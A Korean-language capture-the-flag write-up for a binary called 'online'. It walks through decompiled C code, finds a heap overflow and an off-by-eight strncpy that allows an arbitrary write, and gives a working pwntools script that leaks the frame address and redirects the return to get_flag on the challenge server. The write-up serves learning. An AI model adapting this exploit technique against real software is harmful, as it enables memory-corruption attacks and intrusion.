문제파일을 실행해보자.
이름과 명령어를 입력받는 프로그램이다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-2008h]@1
int *v4; // [sp+2004h] [bp-4h]@1
v4 = &argc;
setvbuf(stdout, 0, 2, 0);
puts("Welcome to your new online class!");
puts("We here, at Eon Pillars, we think Zoom is trash and prefer to have our lessions via command line!");
printf("May I get your name?\n\tName: ");
fgets(&s, 0x2000, stdin);
remove_newline(&s);
printf("Thanks! It is nice to meet you %s!\n\n", &s);
printf("Well enough of that let's start class ... ");
class();
}
스택에 이름을 입력받고 class
를 호출한다.
void __noreturn class()
{
char *s; // [sp+Ch] [bp-Ch]@1
s = malloc(0x2000u);
if ( !s )
{
perror("Unable to malloc buffer");
exit(1);
}
while ( 1 )
{
puts("What should we do?");
printf("> [? for menu]: ");
fgets(s, 0x2000, stdin);
remove_newline(s);
cmd_dispatch(s, &cmdtable);
}
}
heap에 명령어를 입력받고, 입력받은 명령어와 cmdtable
을 인자로하여 cmd_dispatch
를 호출한다.
int __cdecl cmd_dispatch(char *s, int a2)
{
int result; // eax@3
int v3; // eax@4
char *s1[8]; // [sp+0h] [bp-38h]@4
int v5; // [sp+20h] [bp-18h]@13
int j; // [sp+24h] [bp-14h]@8
char *i; // [sp+28h] [bp-10h]@1
int v8; // [sp+2Ch] [bp-Ch]@1
v8 = 0;
for ( i = strtok(s, " "); i; i = strtok(0, " ") )
{
if ( v8 > 7 )
{
puts("Command line has too many words");
return 2;
}
v3 = v8++;
s1[v3] = i;
}
if ( v8 )
{
for ( j = 0; ; ++j )
{
if ( !*(8 * j + a2) )
{
printf("%s: Command not found\n", s1[0]);
return 1;
}
if ( **(8 * j + a2) && !strcmp(s1[0], *(8 * j + a2)) )
break;
}
if ( !*(8 * j + a2 + 4) )
__assert_fail("table[i].func != NULL", "challenge.c", 0xA1u, "cmd_dispatch");
result = (*(8 * j + a2 + 4))(v8, s1);
v5 = result;
}
else
{
result = 0;
}
return result;
}
for
문에서, 입력받은 명령어를 파싱하여 s1
에 저장한다.for
문에서, 명령어가 a2
에 존재하는지 확인하여 존재할 경우 a2
에 저장되있는 해당 명령어의 함수를 호출한다.※a2
는 Caller인 class
에서 전달한 cmdtable
이다.※
수 많은 명령어 함수가 있지만, 그 중 주의깊게 살폈던 함수만 정리하겠다.
void __cdecl cmd_attend(signed int a1, int a2)
{
char *dest; // [sp+8h] [bp-10h]@1
signed int i; // [sp+Ch] [bp-Ch]@1
dest = malloc(4u);
for ( i = 1; i < a1; ++i )
{
strcat(dest, *(4 * i + a2));
*&dest[strlen(dest)] = 32;
}
cmd_dispatch(dest, &classtable);
free(dest);
}
heap에 4만큼 할당하고, 그 곳에 입력받은 명령어 배열을 strcat
으로 이어붙여 저장한다.
힙 오버플로우를 발생시킨다.
처음엔 이것을 이용하여 풀어야 하는 것으로 이해했다.
하지만, 이 오버플로우한 영역을 재활용하여 취약점을 발생시키는 연관된 코드는 없었다.
취약점이 발생하는 함수를 살펴보겠다.
int class_hacker()
{
char s; // [sp+0h] [bp-2008h]@1
puts("\nWelcome!");
fgets(&s, 0x2000, stdin);
printf("Got %s\n", &s);
return test(&s);
}
문자열을 입력받고 그것을 인자로 test
함수를 호출한다.
int __cdecl test(char *src)
{
char dest; // [sp+8h] [bp-810h]@1
int v3; // [sp+808h] [bp-10h]@1
_DWORD *v4; // [sp+80Ch] [bp-Ch]@1
int savedregs; // [sp+818h] [bp+0h]@1
printf("0x%x\n", &savedregs);
strncpy(&dest, src, 0x808u);
*v4 = v3;
return printf("0x%x\n", v3);
}
ebp
주소를 출력하고,
전달받은 문자열을 strncpy
로 test()
의 로컬변수인 dest
에 복사한다.
여기서 취약점이 발생한다.
dest
의 크기는 0x800이지만, 복사되는 크기는 0x808이다. 영역을 초과하여 뒤에 존재하는 v3
, v4
변수를 덮어쓰게 된다.
아래 코드를 보면
*v4 = v3;
v4
에 저장된 주소값에 v3
의 값을 덮어쓴다.
둘 다 내가 조작가능한 값이므로 이것을 이용해 RET를 제어할 수 있다.
문제에서 get_flag
함수를 제공해주므로 간단히 작성할 수 있다.
class_hacker
를 2번 호출한다.
첫 번째 호출에서는 ebp
주소를 저장하여 Return Address를 계산할 것이다.
두 번째 호출에서는, 페이로드를 전송하여 계산된 Return Address에 get_flag
주소값을 덮어쓰도록 만들 것이다.
파이썬으로 코드를 작성하였다.
from pwn import *
import re
import time
#p = process('online')
p = remote('challenges.auctf.com', 30013)
#set name
print p.recvrepeat(0.2)
p.sendline('test'*100)
#into class_hacker
print p.recvrepeat(0.2)
p.sendline('attend Hacker')
print p.recvrepeat(0.2)
addr_heap = 0x565745b0
p.sendline('dumm'+p32(addr_heap)*(0x808/4))
#get addr_ebp
time.sleep(1)
data = p.recvrepeat(0.2)
print data
pt = re.compile('0x[0-9a-f]{7,8}')
addr_ebp = pt.findall(data)[0]
print 'get address of ebp : ' + addr_ebp
addr_ebp = int(addr_ebp, 16)
#into class_hacker
print p.recvrepeat(0.2)
p.sendline('attend Hacker')
print p.recvrepeat(0.2)
#send payload(test goto main)
size_toEBP = 0x808
offset_overwrite = 0x10 - 8
offset_dest = 0xc - 8
addr_ret = addr_ebp + 4
addr_printFlag = 0x56556299
p.sendline('a'*(size_toEBP-offset_overwrite)+p32(addr_printFlag)+p32(addr_ret))
꼭 class_hacker
를 두 번 호출하지 않아도 된다.
나는 문제에서 ebp
를 제공해주는 이유가 있을 것이라고 생각해 이를 활용하여 코드를 작성한 것일 뿐이다.